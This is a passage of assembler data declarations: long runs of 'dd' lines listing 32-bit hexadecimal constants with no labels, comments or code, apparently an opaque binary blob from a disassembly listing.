		dd 0E9AC5654h, 150C94Dh, 0E2592D5Dh, 0B12FCE69h, 0BD411C58h
		dd 0EE569900h, 7E5C123h, 50D548F7h, 64E91675h, 2831AECCh
		dd 903F6348h, 8137E147h, 0DA4FF7F0h, 6906A1C6h,	27001003h
		dd 6C1558A1h, 0A70B53B1h, 6C067ECDh, 5D188744h,	0EA350DB5h
		dd 5F7A7B8Ch, 660CAC37h, 952C0606h, 3990040h, 0BD2C921Dh
		dd 93FAAA9Dh, 4CDFD31h,	7F2CEAE1h, 53FA01C1h, 84DF2CBBh
		dd 1797B1F3h, 814B10C4h, 2F7B62Bh, 0E05E082Dh, 839F31E7h
		dd 0B6F581B8h, 4ED94E3Fh, 87800EE2h, 0E9D2F7D5h, 54A3DD2Fh
		dd 0FD6DC52Eh, 0B49493B4h, 2CF786FBh, 92045A4Bh, 0D281621Eh
		dd 0A86F7AD4h, 5A2F9469h, 74EC45C5h, 244A440Bh,	18A103A4h
		dd 97AF2F36h, 0DEAD4B59h, 97E9F028h, 1174175Ah,	13B2B101h
		dd 0CFF1438Dh, 16EB19F0h, 0A102E93Ah, 0ED8A7B54h, 18962F18h
		dd 801227B4h, 0A0AB11F4h, 302C53C8h, 1CB3AE2h, 0DAF67B86h
		dd 53FC2D4h, 0E935B652h, 0BE3094F2h, 4770F5C1h,	1CF44740h
		dd 0B95E02BEh, 6C8C4830h, 11B033F0h, 0A1CECB4Ah, 0B816A352h
		dd 0A38CFF75h, 93C2A68h, 0FEFD55F9h, 8004846Eh,	342B0D44h
		dd 0C90681E2h, 416A0428h, 757B0684h, 7A2142D2h,	0B60A5090h
		dd 0C7178A52h, 25D81602h, 9FDAFDADh, 3E5C560Ch,	122B0C7Fh
		dd 0A8166AD1h, 2DE410C4h, 71DE6804h, 0CBB0818Dh, 0C45B482Eh
		dd 76B749BAh, 497AD06Bh, 0BAC73B5h, 6B7DFA89h, 5A4CC166h
		dd 0D5208975h, 125E02A8h, 7746830h, 440CFC4Ch, 26CC91C5h
		dd 1F3E02B8h, 28C6E96Ch, 0F1D1BA55h, 0EA4617A6h, 0A42C8C12h
		dd 0D0BA03B0h, 9B5FE9E0h, 0EBBB2400h, 81198405h, 12F405CBh
		dd 0C24B4880h, 7654B31Eh
		dd 530FE904h, 0E6F2B9A4h, 0D5F9EB5Eh, 0AD687040h, 3893B356h
		dd 19D7962Dh, 93B410Ah,	8CF659F6h, 0DA37EC52h, 5A23E53h
		dd 44555384h, 93BE7CCh,	764267C3h, 516747DEh, 9435BFC2h
		dd 7861A1D0h, 648EC3A7h, 11F7368h, 0B010DFACh, 0FA48240h
		dd 5511DF4Fh, 1962E5A6h, 12EFC24Ah, 398201C1h, 3B618F65h
		dd 0C2C444F2h, 0F3BB5202h, 80E42A4Ah, 0E0955C95h, 519D1EA5h
		dd 2D3E0145h, 5B120040h, 81985C29h, 8E976EEBh, 0E63409FEh
		dd 15873809h, 943CFA4Bh, 0B6515C52h, 90029209h,	5DE96380h
		dd 11D396BAh, 0BFE6C4AEh, 0E85BDA8Bh, 0F1F7F041h, 0B474AE9h
		dd 4E758FB6h, 2F6815B8h, 0B44F5439h, 2E021E48h,	83451A22h
		dd 0DCD65DC5h, 0DDD1E587h, 0E1EB0132h, 0BB00B101h, 86024E3Fh
		dd 2EF3BE3Ch, 27E5F68Ah, 0DF8B89DFh, 4A684102h,	4D8FC520h
		dd 0CDD8FFF2h, 0F04B189Fh, 90651828h, 0FFC20625h, 68725161h
		dd 18185871h, 5AA264Fh,	0C5311343h, 54EEC07Ch, 7020A6Ch
		dd 0CFE065BFh, 59E901F9h, 453C9A95h, 0CB3CD3BEh, 13978804h
		dd 15C2AA47h, 1367071h,	4E6F6E24h, 0EDD4DDF2h, 548B2473h
		dd 4172D3BDh, 2EBDA4E9h, 0A504AAA3h, 0BA6C0E2Fh, 0B1B62863h
		dd 0ABA75CA7h, 0F2095D4Ch, 7D7338E9h, 5CDB7B98h, 981D7E3Eh
		dd 0C1D3743Fh, 6E0E1E30h, 5FB9CB2Fh, 56C75714h,	6152A62h
		dd 29F6D101h, 0F42BD2E8h, 0C0B5FB42h, 81094D17h, 0CFF93A31h
		dd 1BB3284h, 374F86BAh,	13B670E2h, 5A6CCC6Ah, 20C20605h
		dd 0D0D80B09h, 2DA22EF9h, 0AA07E90Bh, 3E5645D5h, 0E9A20E99h
		dd 603770C2h, 63B8224Fh, 52D92113h, 39E7BBB0h, 0C5480093h
		dd 0F7213C17h, 0D4B3D15Ah, 9F261A4Dh, 57508F56h, 71584BE3h
		dd 9401C297h, 40B63F83h, 0C4F209Bh, 0D8DD1622h,	196816EFh
		dd 5F90CA75h, 5DE9B288h, 0BA0292EAh, 0BEB44AA0h, 1E26BB80h
		dd 0CC125FCh, 105B28ABh, 1A8F946Fh, 140B0C08h, 89719576h
		dd 0EC4FD46Ch, 966A3BEh, 35E1E993h, 0E594C8DAh,	0E88FFC02h
		dd 0C014DE31h, 2D585E50h, 745C0D01h, 5F00170h, 65BA0744h
		dd 0B025B850h, 0BF672368h, 0DE9E64ECh, 55827DCBh, 29052205h
		dd 0D74C43CEh, 0EA797BC5h, 0FA2715A2h, 477D9A8Bh, 18E90555h
		dd 8F49EF20h, 615248DDh, 0E85EB735h, 0F285F25Bh, 71D75C74h
		dd 0BC233784h, 6DEDC04Bh, 0B51C6C6Eh, 0F46AF5D4h, 68065903h
		dd 0B4CFD30Fh, 0A2928DE8h, 4868C20Bh, 68E77422h, 0DE310B1Fh
		dd 0E9F0BDE0h, 7DC59725h, 0A1F685ECh, 0EBFF7467h, 3E5A68A1h
		dd 1759942Ah, 92E1A208h, 55F08E00h, 2353136h, 64274D0Bh
		dd 0A1C4DAE9h, 17BEC504h, 12AB5A75h, 0D8F101D5h, 12C04AF1h
		dd 0B8A0A188h, 37DC63DAh, 9DF2BD21h, 0D115730Bh, 158C7F06h
		dd 3D28CF12h, 8027C7BEh, 97E9641Ah, 29D99D89h, 0CE500AE0h
		dd 0B4C7F026h, 74E9C1BDh, 0EEDDEBD8h, 0C948378Ah, 80025C20h
		dd 0B753DBC5h, 9D7C5758h, 2878EF00h, 0BAB0E9FAh, 3E3B483h
		dd 9A8EF5EBh, 0A470ECE1h, 3292F087h, 405BFEC2h,	0BE836721h
		dd 478462E9h, 3F8D3F71h, 0B7787CA0h, 0A2DBF717h, 4256338Ch
		dd 37B39DAFh, 10E4AC18h, 7DF07FBEh, 442F347Ah, 741E7F47h
		dd 4A5BE85Dh, 7F20DEB8h, 1C658480h, 0A743C53Dh,	7F664235h
		dd 9BC62159h, 801CA313h, 0F603AABBh, 0DB05B725h, 813384D1h
		dd 204169D4h, 0E330C1E0h, 5A3F2E06h, 0E9C80CD0h, 0F3457B92h
		dd 0C91FE007h, 0A66F8720h, 70D3E175h, 32042D1Bh, 1216050h
		dd 4F706BC7h, 9AE95709h, 0E0B21B19h, 9D5302C3h,	1451B87Ch
		dd 0E2DA176Fh, 4AC1C00Ah, 9769DE59h, 8B552350h,	33DE02D9h
		dd 0A98E57Dh, 1F0BAAAFh, 40DB8023h, 0A0198535h,	0C1291704h
		dd 0BF9155E9h, 0FEC164B6h, 6B35C8E5h, 2578D52Ch, 474A1A4Eh
		dd 2521890Eh, 0C64359C8h, 14539C80h, 0E0BDA55Ah, 163A2D34h
		dd 0AC048E40h, 7CA89354h, 0EF90EF4Dh, 40D96C24h, 2C0A318Fh
		dd 0CFE2485Fh, 43D23500h, 0A305101Ch, 270A6E7Dh, 69535BE9h
		dd 8B04460Fh, 34CD401h,	8364E406h, 915BFEA8h, 78407027h
		dd 5D8F8265h, 0C577E562h, 4968055Bh, 9E62FA28h,	12DE8A7h
		dd 0CD2D09F8h, 7FA78A5Bh, 24A41648h, 72F14A5Eh,	908BA22Eh
		dd 766910E2h, 531EBF02h, 0C05D38DAh, 3B2E836Bh,	0E700157Ah
		dd 70A46ACBh, 97BC23E9h, 0F0DFEA9Dh, 48240EF0h,	0F6C807FEh
		dd 0D27F2CD8h, 0B7434E7h, 205C04EBh, 661CA3BCh,	3AFCAE95h
		dd 688F50BBh, 5F7264CDh, 8F5ECE0h, 4513DF26h, 42B97C02h
		dd 9F7A606Ah, 0DA22B772h, 8AD988DDh, 42CCFC4Bh,	999A57D7h
		dd 0CB29DE5Dh, 50426E74h, 0AAEB2432h, 5E5D8193h, 6B39AD0Eh
		dd 45ABD50Ch, 0AE096576h, 0E6D4A090h, 7B9B28F7h, 0D47C7175h
		dd 805E5916h, 2FB6EDCh,	186D8B97h, 0CC765FFFh, 0DD4C9D28h
		dd 3BF3315Eh, 9267424Dh, 6CD80B08h, 0A85AA397h,	77C516E2h
		dd 73CBFF1Ch, 0D949E90Ch, 0F20BC59Fh, 7E293C2Bh, 2C5405B7h
		dd 0E8F68215h, 0F6007BD2h, 816AA00Ah, 2D1873CAh, 5F20113Ah
		dd 44EFCE5Bh, 0E66ED295h, 509433E9h, 0BB058069h, 145B68ADh
		dd 7F26A298h, 9E485054h, 57710219h, 1EBD6804h, 6320F5ECh
		dd 104C9D86h, 68C80F05h, 6AB361D8h, 0EE6F4935h,	0A82FB29Dh
		dd 10C6480Ah, 0BD01568Fh, 6900F8Dh, 56AE3E31h, 0A8B30066h
		dd 81334239h, 36AEE50Ah, 0BB08C9ACh, 93531DF3h,	8BA4AFD8h
		dd 76702061h, 2877A0A2h, 0C300BF2h, 49781F0Fh, 0B4957736h
		dd 0EF8ABA4Bh, 0C4174ED5h, 0E161AB4Fh, 8A7E588Bh, 7D539ADAh
		dd 12A1FCC2h, 1796585h,	363E4568h, 640F6627h, 0C5587CA4h
		dd 0D8601D77h, 0F5B9577Bh, 9DE21A00h, 0E098C250h, 9510C1Fh
		dd 6FF1CD01h, 99601CEAh, 0BCC4BFFBh, 5A6BE396h,	0A439F48Dh
		dd 36C03A30h, 4CC3E85Ah, 0CF0E1635h, 0F2D3CAEDh, 57518B5Fh
		dd 0DE011383h, 8C865882h, 0FADE2172h, 0D11E9009h, 0D3B0BC4Fh
		dd 42F2355Bh, 25057201h, 19D130DAh, 3F1AFAE8h, 51BC4D95h
		dd 2D2E7B00h, 0EAC1FEB1h, 82E9CEC4h, 94EACF94h,	60E1EEAFh
		dd 134FAD20h, 0BD74F642h, 0AFB873BAh, 7C18C6EEh, 0FECE8C7Eh
		dd 1329392Fh, 325FCB2Dh, 65596A6Ah, 0CB8703A8h,	84ED1F7h
		dd 12973C52h, 2D4C2828h, 25659103h, 0F7AF0B13h,	90680BF8h
		dd 8858710Fh, 0E90B3576h, 9D9458B5h, 4371D47Ch,	5E7FA12Dh
		dd 0C350A90Ah, 388A48E9h, 5F4C5920h, 4F776E10h,	0F41D09AFh
		dd 919B1350h, 0E0E11703h, 6E01F984h, 0EECD5A64h, 52A7C0C6h
		dd 0F8B08BB6h, 5AF03016h, 8AEBEA17h, 0BCE90996h, 199ADD65h
		dd 75700955h, 78B6495Bh, 75FB2FC7h, 903F42F3h, 0AB4046F5h
		dd 0F6889FD7h, 3C74AD9Dh, 0D2F0F57Ah, 582F0735h, 10199FBAh
		dd 5B2E5F0Ah, 0EAA91254h, 79BDB320h, 1FF5047Eh,	0E801C583h
		dd 0A068CE38h, 586FA603h, 48E40B2Dh, 0E55701Dh,	2735C7BCh
		dd 0AF0B5FC3h, 14D5AEE1h, 0E51F130h, 2910C368h,	85A10D3h
		dd 4B1EB85Eh, 0B5A1A6F8h, 0D29C6277h, 5A11B2BAh, 52E78CD1h
		dd 9D3F13E0h, 727CBE27h, 0DFC13E79h, 0EA049A31h, 6A0B6108h
		dd 2901E535h, 0DF205266h, 0E9FAA817h, 1632492Dh, 7D4AC5Eh
		dd 63602521h, 7C3028D2h, 67754994h, 5EF30963h, 0C15B1D4Ch
		dd 0E23F4AB1h, 110696BDh, 982B5E41h, 276127F4h,	1E4A4CD1h
		dd 2312EF16h, 8D0C6C05h, 9BAC1CCh, 1BC22C0Bh, 1CDC7180h
		dd 549D3C32h, 6C5AE66Bh, 54FB9D5Ah, 0B40F09FCh,	75A4A4B0h
		dd 32469154h, 22302B5Fh
		dd 4A2042D6h, 8E1FA143h, 12E90506h, 332056C7h, 136ABE56h
		dd 0EA782A3Fh, 0BC3A72A1h, 0F1E9EDA3h, 3FB82144h, 0B65FB5D1h
		dd 729E1752h, 0ACC48EA8h, 0F9261866h, 3B910043h, 7FC78147h
		dd 7895A24Ch, 0FD51B5ACh, 4496DE09h, 4E7206EFh,	0B06357Fh
		dd 0CA0C599Dh, 277E2DD8h, 847A2C71h, 8009A905h,	29A235E7h
		dd 65EA4DE9h, 0C3315E09h, 59581D56h, 7CDA0962h,	0AB56B6E9h
		dd 0DEEE5716h, 0D5A06909h, 7DF4DE01h, 69126AD3h, 0D5BB5C0h
		dd 4859F642h, 212303Dh,	94B02079h, 564920B4h, 0EABA800Fh
		dd 2181232h, 5AF7BB53h,	27506F6Ch, 4875F613h, 0F146500Ch
		dd 48DB5F93h, 0D00D2402h, 2C3E122Ch, 0E4316871h, 0A61B3B6Fh
		dd 62C4AB04h, 284C3CACh, 0E34A8856h, 0BB622EFBh, 63436886h
		dd 112D5945h, 0BC3D292Ch, 4A494AA7h, 6B7D31E8h,	0E480A702h
		dd 5F665F4Bh, 8158D69Fh, 6C3C84BEh, 63903007h, 29145C0Eh
		dd 8910D201h, 31580108h, 60F1E9F5h, 0EBEA286Bh,	67ADEB5h
		dd 583779E9h, 830C0DA5h, 0A0EA2F80h, 6213686Bh,	363B2145h
		dd 0E4014105h, 6C6F370Ah, 2EE7F970h, 1FF1D2Bh, 9E752DF5h
		dd 88053F48h, 89FFD9F7h, 5F0B4A59h, 7DE60AE1h, 0D2A0B216h
		dd 0C8255A0Fh, 8BCE746Ch, 0E87F8213h, 3E75997Ah, 4A733DB2h
		dd 78D0B2ACh, 66E13E5Ah, 0E145E82Eh, 938DED6h, 0C6C2EFC0h
		dd 214F6102h, 0A4B4F7ACh, 0FC407014h, 0EF6D5F68h, 5DAC4526h
		dd 0E9A0B71Ch, 1DC01AF6h, 4A836DF1h, 9DC2F6CCh,	712DF680h
		dd 547AA30Bh, 94952FF6h, 891ACEB8h, 0AF855233h,	0DA6707D7h
		dd 7CF827D2h, 7D408907h, 2618DB75h, 0AAAC12C7h,	638F0BE2h
		dd 0D2AAE33h, 0CEBB885Eh, 2A2D315Dh, 0CA302F68h, 80C7B548h
		dd 0AA462509h, 0E9B7C8D7h, 7FB66068h, 0F83BEFC2h, 6F89762Ch
		dd 0F917920Bh, 2B038C49h, 8391BF2Ah, 120BB88Ah,	0C216FEA7h
		dd 8AA0F30Ch, 0AC02DD0h, 2A9AFE3Eh, 9DB2C7BAh, 1CB12149h
		dd 7832C1EAh, 2F4F5EC4h, 9D983E75h, 7E1F1455h, 7045B78Bh
		dd 7000D0A4h, 250B8F38h, 2F663436h, 82908682h, 5CE2892Fh
		dd 30A10261h, 0C07F1AD7h, 4F7168CAh, 10C9F80Ch,	0AF4B35BDh
		dd 4A2AE038h, 4E00F2F4h, 433094A8h, 96B4C154h, 844B16Ah
		dd 6435D6A5h, 0FF2C9513h, 29AE540Fh, 0B0B7876h,	0D82805B3h
		dd 0D73512D5h, 680B6C4Fh, 0C287DC9Dh, 4CDDEE65h, 71772D29h
		dd 514CF7ECh, 32480BD6h, 0CBB08461h, 75A183FBh,	735AF3B0h
		dd 0D989D8F9h, 0ED1DE0B7h, 0E040969h, 0E0A5F7E9h, 8B9BC15Ah
		dd 84805449h, 0C905FFCAh, 0E2FB33FAh, 412A10ABh, 0B35EB5Eh
		dd 12FFE6BFh, 0CB5638E9h, 805AB509h, 0E5FE3D5Eh, 7268B0CCh
		dd 0E9FB0AEFh, 0A6EF10A1h, 5A74392Bh, 15FDC018h, 4A7C2B7Eh
		dd 25895F56h, 9FDE4B9h,	59CD87E9h, 1C568057h, 909D6BD4h
		dd 37345EFEh, 90E387BBh, 0FA0118F9h, 8826F98h, 5F436377h
		dd 0F0AEBCB5h, 967653E9h, 0D8246F82h, 0A12CF8F3h, 1780959Bh
		dd 0B2EBEAF1h, 0C87D89B6h, 0D7C1224Ah, 52DC5753h, 4DA2A958h
		dd 434E23Fh, 489B73ADh,	7CAC02AFh, 9D7CD51h, 59187CD4h
		dd 9AE6967h, 15352E0h, 6D603753h, 39EAA070h, 73AC45EDh
		dd 18251093h, 78D1F757h, 5F80CFB3h, 46EB0A2h, 0D7AF5DC1h
		dd 8FCBBF02h, 42731222h, 0F39D6010h, 0ADD113DAh, 881EEEEEh
		dd 78B0CF41h, 0E7FC0D33h, 42D1686h, 617DE03Ch, 0B353C0A8h
		dd 0D750312Fh, 0AF5E120Bh, 8BA8EA44h, 0F085D95Bh, 0DF822AEDh
		dd 94A728Ah, 57764CE3h,	0FA07EA4Ah, 7D0B5A2Eh, 9DE32E21h
		dd 0FE77EEB2h, 53805ABFh, 17F3D74h, 451022D2h, 0B2D4C08h
		dd 0D0D2721Eh, 166303DBh, 0F7292573h, 5E082840h, 0FE65A4Fh
		dd 0B8B8E213h, 7BE6C013h, 0BD534DF6h, 5F4ACDB0h, 39AA28D6h
		dd 0ADC86086h, 13BCDB41h, 20D01127h, 4943F397h,	0DD1EB106h
		dd 6418ED26h, 93A0E417h, 0F4059855h, 7602067Bh,	4E3A41E9h
		dd 0D916FF9Dh, 3627FA2Bh, 338C4B69h, 0DF7F42A8h, 85BF3703h
		dd 0F94B265Bh, 0D16F8F6Eh, 35D2A5DCh, 999A3059h, 0FF9D8A7Dh
		dd 0CD98253Ch, 23A6925Eh, 0A2B50222h, 4101B102h, 0E7C9CC26h
		dd 2B9D797Ah, 8B016285h, 0BEE922B2h, 29B30A6Fh,	4B7C117Eh
		dd 0FB5E53AEh, 8168D660h, 0EBF19722h, 7A3D82E9h, 0B44AE559h
		dd 0E83180CEh, 54E7836h, 0EB7D56C0h, 0ED09950Ch, 16F36580h
		dd 0C3B5CC69h, 65FB9ABAh, 0DB02AD42h, 630F748Ch, 0C9C728E4h
		dd 8F7E6CB1h, 0D5894A17h, 68E109FBh, 98494C82h,	38A50778h
		dd 9DD088B4h, 0FD5E5385h, 0D0032512h, 1CD59D59h, 2E71AE4Fh
		dd 0AFE35B80h, 0DD8765F6h, 80298439h, 0DED57F6Ah, 2DEBFE1Bh
		dd 0FEE8A4E9h, 431E0568h, 35CB18ADh, 80AB4EF3h,	277755A1h
		dd 89FF250Ah, 28200D56h, 0C0DFF27Eh, 1405C801h,	42322C3Bh
		dd 0CDF05BB2h, 79136709h, 9807D829h, 7A8090BBh,	1CEB8118h
		dd 0DC8D3D37h, 3171D7E9h, 3BC368DBh, 332CA28Dh,	62CEEA4Bh
		dd 15A42921h, 7F796442h, 90BF7F67h, 0BE165FB5h,	2177051Fh
		dd 231EEF46h, 2DDC3705h, 1BC26C2h, 0F173CFB9h, 208D3A6Ch
		dd 49B23040h, 0C616AABh, 1C060B7Bh, 5E18E176h, 709BB78h
		dd 0BF5734C0h, 39463263h, 0AFDED477h, 6812C770h, 0BB890B65h
		dd 42FBC100h, 0B87E0081h, 0AFE1E471h, 0B560DEE9h, 977CC579h
		dd 0A43F6454h, 84DBF2D7h, 31FBF149h, 2AD1967h, 7A83C05Fh
		dd 0B6E183B7h, 0B80A8125h, 1F106408h, 9A4DE6FCh, 72411733h
		dd 4304BA79h, 0CDC2E7D1h, 1C8BE1DBh, 0F245A46Ah, 0D2CA70Bh
		dd 0C084002Eh, 0CE4A533Ch, 260437F0h, 1502F07Ah, 6B56BE0Ch
		dd 29E93829h, 25CF4B0Eh, 77A7CD74h, 46C262A3h, 62BB8405h
		dd 8DC40EACh, 231B83BBh, 56A4EEC5h, 0BF0EBD4Eh,	0AA7ECB04h
		dd 8DF5F681h, 6B4EE72Bh, 50A5100Dh, 33A3B765h, 0EF71EFD4h
		dd 47F11C17h, 0CE40ECECh, 0E3D11706h, 4C28B50h,	5F7F2A40h
		dd 91015EE8h, 51B9A611h, 0C4343458h, 7EBD6D07h,	0DCB14F2Dh
		dd 7DC0D65h, 0E4775E87h, 6E1D373Dh, 11975227h, 1A05BA16h
		dd 9BC9B6Ch, 59E4BEF5h,	0DD22F1DAh, 6227DD90h, 0DE56EDABh
		dd 551F019Fh, 55D01589h, 888965CEh, 6B0A7596h, 251337F2h
		dd 2138AA42h, 0DE680055h, 5D0DB802h, 0ED48D145h, 5BB74DB6h
		dd 7B8555ECh, 6E8EBA28h, 0BC493E13h, 588919h, 962D45E4h
		dd 0D8092F5Eh, 66B9205Fh, 9F544868h, 0F6818A80h, 0B5987638h
		dd 0E2BD70BFh, 0ECF99712h, 9FA8542Ch, 0AB469409h, 0C0324255h
		dd 2067E055h, 6890B21Fh, 274C524Eh, 9F659048h, 0F1090A63h
		dd 76AE70E9h, 55577010h, 1FC5BD09h, 7A47E9Bh, 21702C8Dh
		dd 6D512EE9h, 27711FF2h, 0AEE5BD3h, 508C604h, 347DD3E9h
		dd 3EC0C2C5h, 35BA020Bh, 0F8BD01FAh, 2EF16860h,	42A73AC0h
		dd 0F17657BAh, 3863F000h, 0E7F2E94Eh, 0F179373Fh, 92E785Bh
		dd 0A05B661h, 1790F1A8h, 1D14BF4Bh, 402C3FBBh, 0A1680F5Dh
		dd 5B699CAAh, 0A2066CF7h, 7E707DF4h, 8A14E92Ch,	0B0C057A7h
		dd 0F63AB4CBh, 0ADC39CDBh, 9F11C924h, 59466802h, 3D4401A2h
		dd 388C0325h, 0B3DA28E7h, 0D1300581h, 0C194EA5Ah, 2573ACBEh
		dd 14BB85Ch, 9D8873D1h,	54E225D6h, 0F82405Fh, 0EF2BC571h
		dd 7AEDB15Dh, 49E9A4CCh, 2927BF3Dh, 981D6CD7h, 0FAED5FE2h
		dd 0EFA30737h, 0E2145E6Dh, 31605C3h, 80236B0h, 0E0373EC6h
		dd 9D2EF1D5h, 0FCFB8E9Ah, 0C8B70FC0h, 0F6BC4A68h, 9EE91831h
		dd 5EF131A5h, 538C45Eh
		dd 8827EDDFh, 0A116334Ch, 0CBBFD2EAh, 3CBF4F26h, 6F5F6B6Bh
		dd 8E856AA2h, 8DBA5D37h, 430C229Dh, 8AF1EF0Ch, 0D69D7ABDh
		dd 357E342Ch, 0AE1D7372h, 13DC501h, 8B684B6Dh, 754FA8E0h
		dd 3977948h, 0D1F7B195h, 0E9E40901h, 0C6C6E8ECh, 0E4E1524Eh
		dd 0F6AEFD7Eh, 8D681C06h, 0C57D2752h, 2BF52F46h, 6E90FF85h
		dd 70CB283Dh, 0AF484B4Ah, 0D50C3FB2h, 82F1DDA7h, 0ABCA84B1h
		dd 86400D4h, 0A90775A4h, 0C52E5F96h, 55E6BEh, 13CA0517h
		dd 0F86DE681h, 46201DC7h, 3512F0D1h, 4B599836h,	0ACF10071h
		dd 86E9E52Bh, 0C474BDFDh, 21D51ABCh, 0FAD97710h, 3FF17DC9h
		dd 0FE61A549h, 0A38419BDh, 7E01A41Ch, 0CCD7812h, 956144AAh
		dd 0EDC00161h, 4ACD8004h, 28FAC16Fh, 0ECB27AE8h, 8E38B319h
		dd 4B653F21h, 90314BF0h, 0B37C5A69h, 0E99B63F1h, 964FC5BEh
		dd 3970B35Dh, 273BCB81h, 0EC789B47h, 1161A70Ch,	2A2E86Ah
		dd 0E9492065h, 0BF647530h, 0F743C916h, 74367E05h, 5A5231AEh
		dd 72D97E0Ah, 9793F3E8h, 96DFA35Dh, 49919146h, 1164E0CAh
		dd 3C5A0953h, 0ADE181E9h, 0E3472135h, 9813BBFCh, 7E188A04h
		dd 21A137FBh, 240E751Bh, 542B52B6h, 482DCC5Ah, 8143418Ch
		dd 0A1006F89h, 0CA6F70F3h, 4E38FC1Eh, 8711AC55h, 658520B1h
		dd 0D7A4BAC0h, 0D14F4F75h, 9DBC7BC7h, 0D9D3C3C3h, 8BEFF2ABh
		dd 9D54F039h, 0E6654C90h, 0AE47A79Fh, 0F73B1970h, 22A083DBh
		dd 509D4A8Fh, 829D4AD0h, 0E1554DB9h, 77605715h,	0C544824Fh
		dd 53426812h, 0F1F1C6CDh, 466FCFF9h, 0FD200953h, 0DC2DD82Fh
		dd 685B85D1h, 698EFABh,	2937400Bh, 90FFC24Eh, 156E213Ah
		dd 4B01E9B2h, 0E90BFA16h, 0A866BE75h, 0D7373D1Bh, 732C1004h
		dd 47992827h, 0C57F5F5h, 0B84D4588h, 0E9E56192h, 5C64DAD6h
		dd 0A3265460h, 950BD67Bh, 0E1C2AA42h, 803F82A9h, 5E35664Eh
		dd 2AA3E153h, 58091A5Eh, 6870185Bh, 0E9A3A909h,	5E6FAEFBh
		dd 81FBFD85h, 0C40E0A21h, 6FC4C16Fh, 7C1EAF13h,	6BE3CAFh
		dd 0B04E2149h, 0AB4CC7FAh, 67F0A4C9h, 68561753h, 48F6ACF4h
		dd 7FFE2FACh, 8FDA65BBh, 0DF258556h, 0DC96D647h, 0BDED49E4h
		dd 1441C86Ah, 0F9166B8Dh, 0A44038EBh, 0E5DD3D41h, 0BF2061FEh
		dd 0B5032930h, 0D49F97D8h, 0BECB172Ah, 2E182112h, 95621556h
		dd 752B9C75h, 0F0D54ABFh, 32BFEF16h, 0C8567D7Eh, 0AA54C545h
		dd 34CE04A5h, 0ECAE3B7Ch, 5F08402Ch, 9102EBFh, 38ABE8B2h
		dd 2A5A8133h, 53E823AEh, 0EA0551BEh, 6E6475D6h,	1A82B900h
		dd 0B0953E42h, 543340F9h, 1E685E09h, 6913DE4Ch,	0BB7CA50Bh
		dd 474A006Bh, 60AEE90Ch, 4FEDF12Ch, 75557F4Ch, 0ECA07AE1h
		dd 60E91651h, 0E6CA2130h, 33900448h, 83502268h,	0F66004E9h
		dd 52CE545Fh, 2DA5CCFDh, 0E47E300Fh, 0DF6ADFE9h, 4959D9D7h
		dd 6BC359D5h, 80699951h, 6F163B28h, 0EF4B04Ch, 618109DFh
		dd 80EE1776h, 80720C1Dh, 58F62149h, 92A412D6h, 0C57D37BFh
		dd 8AF4FE95h, 833012B7h, 0BDAE017Eh, 34164634h,	7E9A5255h
		dd 158F7F95h, 30B55102h, 2FE8F655h, 5CE5E1FBh, 525F41EFh
		dd 572CFDE9h, 74CFA0F3h, 894F5592h, 46071291h, 0BF6D060h
		dd 21EA75E0h, 9BBBE075h, 2702301Eh, 0BD69DE1Fh,	0E6B5765Eh
		dd 2DFB86E4h, 0D7E39C75h, 0C231069Ch, 0B5775F72h, 3F90DDF9h
		dd 6FE8C3B5h, 29752798h, 2C28402h, 0C681B5F1h, 793A61A3h
		dd 12205A60h, 0BF829E5Ch, 0D076C382h, 0EE801C00h, 0FAC6D786h
		dd 0C4445817h, 0D610FA3Ch, 0B40C8504h, 3A64F1A4h, 6AAA24C2h
		dd 0CDF0C8h, 9C2C76B9h,	0E1D1495Dh, 165C51BDh, 316B4B29h
		dd 3873A0ABh, 5FA1BD22h, 0F80D3B70h, 2B85CA40h,	98224C68h
		dd 50B2AF03h, 0E09C1BA0h, 819B3C24h, 79DA17BFh,	80041853h
		dd 59091D52h, 62D7F1DDh, 89DF2D68h, 0A47FFFDh, 9E402D01h
		dd 2292067h, 0AE641617h, 1AF88839h, 900A9AF0h, 1C2F2F50h
		dd 569D19EEh, 0E269EE44h, 0F650B509h, 4FFB2D05h, 22D46D73h
		dd 0A5CBADBEh, 0EC4F8EB8h, 0BF6DB64Eh, 0E909A365h, 5902A7D4h
		dd 7F07A04Ah, 4E34153Fh, 64E95280h, 37DBBD4Bh, 0E8B35380h
		dd 3797CB80h, 7004C3FEh, 0CE6848F3h, 7E955470h,	994172ECh
		dd 3F00058Eh, 1BD21543h, 0EAD29531h, 124D9400h,	3B212D38h
		dd 29350A56h, 180705E8h, 1888385Dh, 274B943Fh, 969E5DF8h
		dd 0E19836B2h, 0A5207BC4h, 0B0967BB8h, 9C92B8E1h, 5CC9800Fh
		dd 0C733FC0h, 3DA0F1C1h, 0BC431C96h, 0FDC65A31h, 240B9007h
		dd 45F78FCh, 89417CE9h,	0F6A52F40h, 3F87F12Fh, 50CD6E0Bh
		dd 0EA4648E1h, 2EFEB52Fh, 0C1B08917h, 935F4CFAh, 2D2CD704h
		dd 4FFA643h, 0EBD53F2h,	0E9BA24D4h, 2A144C6Dh, 25FA7532h
		dd 0BD5C1540h, 0BAA8086Dh, 7A5143CEh, 0D894C326h, 76971A4Dh
		dd 39C10748h, 0C052B907h, 4E31FBE1h, 13E9530Bh,	88F17906h
		dd 552519B9h, 514F8180h, 0EBFABE9Ch, 2D00BE9Ch,	0A774DFE2h
		dd 58C62531h, 5503D68h,	0B7F58880h, 257C584h, 0F7421668h
		dd 2C287F18h, 4838EA2Eh, 9340D800h, 6259E97Dh, 0F921603Fh
		dd 5C422A82h, 0E253407Ch, 0F98B55ADh, 35ED4DFDh, 0F4ADF90Ch
		dd 1F33382h, 3B3468ADh,	3CAF2312h, 9C0968A9h, 220FA1Ah
		dd 0F45ADEFCh, 0B3B9623Dh, 0CAA5E0F3h, 5B405D33h, 89164EACh
		dd 2F055760h, 6CDAF774h, 0FE27EF5Ah, 82285EE6h,	7CF975C9h
		dd 5219CA41h, 67D39B60h, 72F81B15h, 9CDF48A7h, 995F9DDAh
		dd 25D35225h, 53F9F566h, 8797C2A7h, 2A622E7Eh, 0F5734073h
		dd 49E52E33h, 6750276h,	9BD64B5Bh, 3145C25h, 4E74736Dh
		dd 978D406h, 1E2C0B64h,	0E25B7931h, 2BA8D391h, 0C768BA88h
		dd 46FC7D13h, 89EE6600h, 9F310F4Ah, 7CC042D0h, 7FDACAC9h
		dd 1B4659E9h, 1DDBEC7Bh, 81108373h, 747837C9h, 5F1F01Bh
		dd 86F7E413h, 0D11855E8h, 0ECD44EEh, 5E410327h,	501808B7h
